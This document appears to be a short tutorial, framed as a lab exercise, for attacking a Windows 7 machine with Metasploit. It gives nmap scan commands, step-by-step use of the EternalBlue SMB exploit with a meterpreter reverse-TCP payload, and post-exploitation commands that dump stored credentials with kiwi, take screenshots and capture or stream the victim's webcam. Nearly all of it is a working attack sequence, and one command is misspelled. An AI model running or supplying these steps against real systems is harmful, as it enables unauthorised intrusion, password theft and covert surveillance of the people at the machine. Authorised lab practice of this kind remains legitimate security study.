

#For testing metasploit framework console you need to have Windows 7 OS device that
#connected to the same network(or just VirtualBox image but in
#Setting->Network->Adapter 1 set "Attached to" to Bridged Adapter) and you might have #to
disable firewall.

- 1) Using nmap or armitage find ip address of device
- 2) Using this command find if there is smb service: `nmap -v [ip address] -Pn -A -T5`
- 3) run on your kali or whatever linux CLI(Command line): `msfconsole`
- 4) follow these commands:
 1. use `exploit/windows/smb/ms17_010_eternalblue`
 2. set `rhosts [target ip]` (ip address of Win 7, you can check using `ipconfig`)
 3. set `payload windows/x64/meterpreter/reverse_tcp`
 4. set `lhost [own ip]` (you can check ip address: `ip a`)
 5. set `ForceExploit true`
 6. `exploit`

if exploit was successful

get user passwords:

- 1) `load kiwi`
- 2) `getprvs`
- 3) `creds all`

take screenshot:

- 1) `screenshot`

capture webcam:

- 1) `webcam_list` (check if any webcam is present)
- 2) `webcam_snap` (take a photo from webcam)
- 3) `webcam_stream` (to stream a video from webcam)